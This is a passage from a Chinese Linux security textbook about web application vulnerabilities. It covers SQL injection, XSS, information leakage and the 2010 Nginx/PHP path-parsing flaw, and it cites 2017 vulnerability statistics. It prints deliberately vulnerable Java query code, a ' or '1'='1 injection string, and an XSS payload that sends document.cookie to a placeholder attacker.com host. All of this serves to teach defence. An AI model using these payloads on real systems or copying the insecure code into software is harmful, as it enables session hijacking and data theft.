網絡層安全和系統層安全保障都是構建縱深防禦體系不可或缺的重要組成部分;保障Linux應用安全是另一個異常重要的縱深防禦體系組成部分。有些業務必須要對全網開放,例如一個電子商務網站或者聯機遊戲服務器。這時候,僅僅依靠網絡防火牆就顯得力不從心了,而必須依賴應用本身的安全機制。
簡化的網站架構和數據流向
一個簡化的網站架構和數據流向如圖8-1所示:
在現代大型網站系統中,往往有較多組件,數據流向一般也比較複雜。爲了說明與網站相關的應用安全,筆者對網站架構和數據流向做了簡化和抽象,以便能夠將安全目標聚焦在覈心和通用組件上。圖8-1正是這種簡化和抽象的結果。其中,圖8-1中的用戶,既包括合法使用網站的人(他們按照網站產品設計的功能和流程使用服務),也包括試圖入侵網站的人(他們試圖通過網站漏洞來實現STRIDE威脅分析模型中的各種破壞)。本章的後續內容,主要是按照圖8-1的網站架構和數據流向進行安全相關講解。
主要網站漏洞解析
在360公司2018年1月23日發佈的《2017中國網站安全形勢分析報告》中指出,根據360網站安全檢測平臺掃描出高危漏洞的情況,跨站腳本攻擊漏洞的掃出次數和漏洞網站數都是最多的,穩居排行榜榜首。其次是SQL注入漏洞、SQL注入漏洞(盲注)、PHP錯誤信息泄露等漏洞類型。2017年1-10月份高危漏洞TOP10如表8-1所示:
表8-1 1-10月份高危漏洞TOP10
漏洞名稱 | 掃出次數(萬) | 漏洞網站數(萬) |
---|---|---|
跨站腳本攻擊漏洞 | 91.7 | 7.6 |
SQL注入漏洞 | 18.8 | 1.7 |
SQL注入漏洞(盲注) | 18.0 | 2.3 |
PHP錯誤信息泄露 | 9.2 | 0.7 |
數據庫運行時錯誤 | 5.3 | 0.5 |
跨站腳本攻擊漏洞(路徑) | 3.7 | 1.1 |
使用存在漏洞的JQuery版本 | 3.7 | 1.8 |
MS15-034 HTTP.sys遠程代碼執行 | 1.8 | 0.9 |
發現SVN版本控制信息文件 | 1.5 | 0.2 |
跨站腳本攻擊漏洞(文件) | 1.3 | 0.2 |
SQL注入漏洞最多,佔比爲32.1%,其次是命令執行和信息泄露,佔比分別爲27.4%和10.5%。佔比較高的還有弱口令(10.2%)、代碼執行(4.3%),具體漏洞類型分佈請見圖8-2:
從表8-1和圖8-2中,我們可以看到,注入類漏洞、跨站腳本、信息泄露是最需要關注的3種常見高危漏洞。在國家計算機網絡應急技術處理協調中心在2018年4分發布的《2017年我國互聯網網絡安全態勢綜述》也指出,“2017年,CNCERT抽取1000餘家互聯網金融網站進行安全評估檢測,發現包括跨站腳本漏洞(佔高危漏洞26.1%)、SQL注入漏洞(佔高危漏洞22.4%)等網站高危漏洞400餘個,存在嚴重的用戶隱私數據泄露風險。”
另外,還需要特別關注一類較嚴重的漏洞:文件解析漏洞。
注入漏洞
注入(Injection)漏洞是指因爲應用程序未對輸入的數據進行嚴格校驗而導致執行了非預期的命令或者進行了未經授權的數據訪問的漏洞。
幾乎任何數據源都能成爲注入載體,包括環境變量、所有類型的用戶、參數、外部和內部Web服務。當攻擊者可以向解釋器發送惡意數據時,注入漏洞產生。注入漏洞十分普遍,尤其是在遺留代碼中。注入漏洞通常能在SQL、LDAP、XPath或是NoSQL查詢語句、操作系統命令、XML解析器、簡單郵件傳輸協議(Simple Mail Transfer Protocol,SMTP)包頭、表達式語句及對象關係映射(Object Relational Mapping,ORM)查詢語句中找到。注入能導致數據丟失、破壞或泄露給無授權方,也可能會缺乏可審計性或是拒絕服務。注入有時甚至能導致主機被完全接管。
最常見的注入漏洞包括SQL注入漏洞、命令注入漏洞這2大類。
下面給出SQL注入漏洞的示例:
場景1:應用程序在下面存在脆弱性的SQL語句的構造中使用不可信數據:
String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";
場景2:同樣的,框架應用的盲目信任仍然可能導致查詢語句的漏洞。(例如,Hibernate查詢語言):
Query HQLQuery = session.createQuery("FROM accounts WHERE custID='" + request.getParameter("id") + "'");
在以上這兩個案例中,攻擊者在瀏覽器中將"id"參數的值修改成:’ or ‘1’='1。例如:
http://example.com/app/accountView?id=' or '1'='1
這樣查詢語句的含義就變成了從accounts表中返回所有的記錄。
更危險的攻擊甚至可能會導致數據被篡改甚至是數據庫中的存儲過程被非法調用。
跨站腳本漏洞
跨站腳本(Cross Site Scripting,XSS)漏洞是指網站沒有對用戶提交數據進行轉義處理或者過濾不足導致惡意攻擊者可以添加一些代碼嵌入到Web頁面中去而使別的用戶訪問就會執行相應嵌入代碼的漏洞。
存在三種XSS類型,通常都是用戶的瀏覽器:
-
反射式XSS:應用程序或API將未經驗證和未經轉義的用戶輸入作爲HTML輸出的一部分。一個成功的攻擊可以讓攻擊者在受害者的瀏覽器中執行任意的HTML和JavaScript。
-
存儲式XSS:應用或者API將未淨化的用戶輸入存儲下來了,並在後期在其他用戶或者管理員訪問時的頁面上展示出來。存儲型XSS一般被認爲是高危或嚴重的風險。
-
基於DOM的XSS:會動態的將攻擊者可控的內容加入頁面的JavaScript框架、單頁面程序或API存在這種類型的漏洞。
典型的XSS攻擊可導致盜取Session、賬戶、繞過多因子認證(Multi-Factor Authentication,MFA)、DIV替換、對用戶瀏覽器的攻擊(例如:惡意軟件下載、鍵盤記錄)以及其他用戶側的攻擊。
下面給出XSS漏洞的示例:
應用程序在下面HTML代碼段的構造中使用未經驗證或轉義的不可信的數據:
(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";
攻擊者在瀏覽器中修改"CC"參數爲如下值:
'><script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>'.
這個攻擊導致受害者的會話ID被髮送到攻擊者的網站,使得攻擊者能夠劫持用戶當前會話。
注意:攻擊者同樣能使用跨站腳本漏洞攻破應用程序可能使用的任何跨站請求僞造(Cross-Site Request Forgery,CSRF)防禦機制。
信息泄露
信息泄露是指應用程序把敏感信息展示給了未授權用戶。這通常包括以下場景:
應用程序未對出錯信息加以封裝而直接展示給用戶,導致泄露了應用程序版本、配置信息、調用的第三方接口或者數據庫連接字符串等。如圖8-3所示,就是某知名電子商務網站的報錯信息:
從圖8-3中,我們可以看到,在該報錯信息中暴露了應用程序開發語言(Microsoft VBScript)、數據庫驅動引擎(SQLOLEDB)、數據庫服務器地址、訪問賬號(UID、PWD)。黑客可以藉助以上信息進行二次利用而對網站安全產生極大的威脅。
因爲配置或者操作不當導致源代碼、應用程序配置文件可被直接下載。例如,把Web可訪問目錄中的config.php複製成config.php.bak,而導致可直接下載config.php.bak。如圖8-4所示就是某網站安全軟件攔截信息:
另一個典型的例子是.svn目錄未做過濾而導致的源代碼泄露。
機密數據未做強加密或者未使用強散列算法存儲而導致被惡意讀取後散播和利用。例如,在日誌或者數據庫中明文記錄完整信用卡卡號、用戶賬號和密碼原文等,都極其可能帶來信息泄露的問題。
文件解析漏洞
在2010年曾經發生過一個Nginx解析的問題,導致大量基於Nginx+PHP的網站被入侵。
漏洞介紹:Nginx是一款高性能的Web服務器,使用非常廣泛,其不僅經常被用作反向代理,也可以非常好的支持PHP的運行。默認情況下可能導致服務器錯誤的將任何類型的文件以PHP的方式進行解析,這將可能導致嚴重的安全問題,例如惡意的攻擊者通過上傳含有Webshell功能的.jpg結尾的文件,而用PHP去解析和執行,則使得惡意的攻擊者可能攻陷支持PHP的Nginx服務器。
漏洞分析:Nginx默認以cgi的方式支持PHP的運行,譬如在配置文件當中:
location ~ \.php$ {
root html;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;
include fastcgi_params;
}
以cgi的方式支持對PHP的解析,location對請求進行選擇的時候會使用URI環境變量進行選擇,其中傳遞到後端Fastcgi的關鍵變量SCRIPT_FILENAME由nginx生成的$fastcgi_script_name決定,而通過分析可以看到$fastcgi_script_name是直接由URI環境變量控制的,這裏就是產生問題的點。而爲了較好的支持PATH_INFO的提取,在PHP的配置選項裏存在cgi.fix_pathinfo選項,其目的是爲了從SCRIPT_FILENAME裏取出真正的腳本名。
那麼假設存在一個http://www.xxx.com/xxx.jpg,我們以如下的方式去訪問
http://www.xxx.com/xxx.jpg/xxx.php
將會得到一個URI /xxx.jpg/xxx.php。
經過location指令,該請求將會交給後端的fastcgi處理,Nginx爲其設置環境變量SCRIPT_FILENAME,內容爲/scripts/xxx.jpg/xxx.php。而在其他的WebServer如Lighttpd當中,我們發現其中的SCRIPT_FILENAME被正確的設置爲 /scripts/xxx.jpg 所以不存在此問題。
後端的fastcgi在接受到該選項時,會根據fix_pathinfo配置決定是否對SCRIPT_FILENAME進行額外的處理,一般情況下如果不對fix_pathinfo進行設置將影響使用PATH_INFO進行路由選擇的應用,所以該選項一般配置開啓。PHP通過該選項之後將查找其中真正的腳本文件名字,查找的方式也是查看文件是否存在,這個時候將分離出SCRIPT_FILENAME和PATH_INFO分別爲 /scripts/xxx.jpg和xxx.php。最後,以/scripts/xxx.jpg作爲此次請求需要執行的腳本,攻擊者就可以實現讓nginx以php來解析任何類型的文件了。
訪問一個nginx來支持php的站點,在一個任何資源的文件如robots.txt後面加上/xxx.php,這個時候你可以看到如下的區別:
訪問http://www.xxx.com/robots.txt
HTTP/1.1 200 OK
Server: nginx/0.6.32
Date: Thu, 20 May 2010 10:05:30 GMT
Content-Type: text/plain
Content-Length: 18
Last-Modified: Thu, 20 May 2010 06:26:34 GMT
Connection: keep-alive
Keep-Alive: timeout=20
Accept-Ranges: bytes
訪問http://www.xxx.com/robots.txt/xxx.php
HTTP/1.1 200 OK
Server: nginx/0.6.32
Date: Thu, 20 May 2010 10:06:49 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Keep-Alive: timeout=20
X-Powered-By: PHP/5.2.6
其中的Content-Type的變化說明了後端負責解析的變化,該站點就可能存在漏洞。
本文內容來自作者圖書作品《Linux 系統安全:縱深防禦、安全掃描與入侵檢測》,點擊購買。